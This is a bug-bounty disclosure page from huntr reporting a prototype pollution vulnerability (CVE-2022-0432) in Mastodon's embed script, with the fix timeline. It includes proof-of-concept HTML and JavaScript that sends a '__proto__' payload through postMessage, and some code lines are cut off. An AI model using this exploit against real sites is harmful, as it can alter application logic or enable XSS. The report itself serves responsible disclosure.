huntr

Prototype Pollution in mastodon/mastodon

1

✓ Valid Reported on Jan 20th 2022

Description

Javascript is "prototype" language which means when a new "object" is created, it carries the predefined properties and methods of an "object" with itself like `toString` , `constructor` etc.
By using prototype-pollution vulnerability, an attacker can overwrite/create the property of that "object" type. If the victim developer has used that property anywhere in the code, then it will have severe effect on the application.
For e.g.:

```
var obj = {};
console.log(obj.A); // undefined
obj["__proto__"].A = 1;
console.log(obj.A);  // 1
var new_obj = {};
console.log(new_obj.A); // 1  -> exploit
```

Proof of Concept

STEP 1: Victim user post toots on mastodon and embed his/her toots on his/her website using following code:
NOTE: ignore the custom code, it just explains the vulnerability on webpage. focus on the official code provided by mastodon (i.e. iframe of toot and embed.js script)

```
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Victim's website</title>
</head>
<body>
```

```
    <div id='before'></div>
    <br>
    <div id='exploit-status'></div>
    <div id='after'></div>
    <div id='info'></div>


<script type="text/javascript">

    var sample = []; // Array
    document.getElementById("before").innerHTML = "var sample = [];<br><b>

    document.getElementById("exploit-status").innerHTML = "[+] Running expl
</script>

<iframe src="https://mas.to/@reo1212/107650549212219629/embed" class="mast


<script type="text/javascript">

    setTimeout(function(){

        document.getElementById("exploit-status").innerHTML = "[+] Finishe

        document.getElementById("after").innerHTML = "<b>AFTER</b> running

        document.getElementById("info").innerHTML = "To validate whether th
    }, 6000);

</script>

</body>
</html>
```

STEP 2: Attacker host the following code on his/her website.
NOTE: PLEASE change the required values of target website in the code

```
<!DOCTYPE html>
```

```
<!DOCTYPE html>
<html>
<head>

    <meta charset="utf-8">
    <title></title>
</head>
<body>

<p>
This exploit will create or overwrite the "height" property of "Array" obje
</p>

<script>
    function exploit(){

    var target = 'http://localhost:8081/mastodon-test.html'; // CHANGE THIS

    var payload = JSON.parse('{"type": "setHeight", "id": "__proto__", "hei

    window.poc = window.open(target);

    setTimeout(function(){
        window.poc.postMessage(
            payload,
            '*'
        );
    }, 4000);

}
</script>
<input type="button" onclick="exploit()" value="EXPLOIT">

</body>
</html>
```

STEP 3: Now, exploit the vulnerability by clicking the `EXPLOIT` button on attacker's website
Now, create any array object and check the value of `height` property, it will
described by my exploit. video PoC will help here.

For better understanding of the bug, please check video PoC:

For better understanding of the bug, please check video POC:
https://drive.google.com/file/d/1vpZ0CcmFhTEUasLTPUBf8o-4l7G6ojtG/view

Impact

Prototype pollution can be used to create/overwrite predefined properties and methods of `object` type. It can lead to XSS, change code logic etc. based on the application code.

CVE
CVE-2022-0432
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution

Severity
High (7.4)

Visibility
Public

Status
Fixed

Found by

Rohan Sharma
@r0hansh
unranked

Fixed by

Rohan Sharma
@r0hansh
unranked

This report was seen 637 times.

We are processing your report and will contact the **mastodon** team within 24 hours.
10 months ago

Chat with us

Rohan Sharma modified the report 10 months ago

Rohan Sharma modified the report 10 months ago

Rohan Sharma submitted a patch 10 months ago

Rohan Sharma 10 months ago Researcher

I have submitted the patch.
If `data.id.toString()` equals `__proto__` , then we `return` and do not go forward.
Please check the patch, it will fix the bug (tested locally).

The `fix_check_origin_and_prototype` branch also contains the fix for the other vulnerability submitted by me.

We have contacted a member of the **mastodon** team and are waiting to hear back 10 months ago

We have sent a follow up to the **mastodon** team. We will try again in 7 days. 10 months ago

We have sent a second follow up to the **mastodon** team. We will try again in 10 days. 10 months ago

Eugen Rochko validated this vulnerability 10 months ago

Rohan Sharma has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Rohan Sharma 10 months ago Researcher

Hi Eugen,

I made a PR https://github.com/mastodon/mastodon/pull/17420 to fix the bug.
please have a look

@maintainer

Eugen Rochko marked this as fixed in **3.5.0** with commit **4d6d4b** 10 months ago

Rohan Sharma has been awarded the fix bounty ✓

Chat with us

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us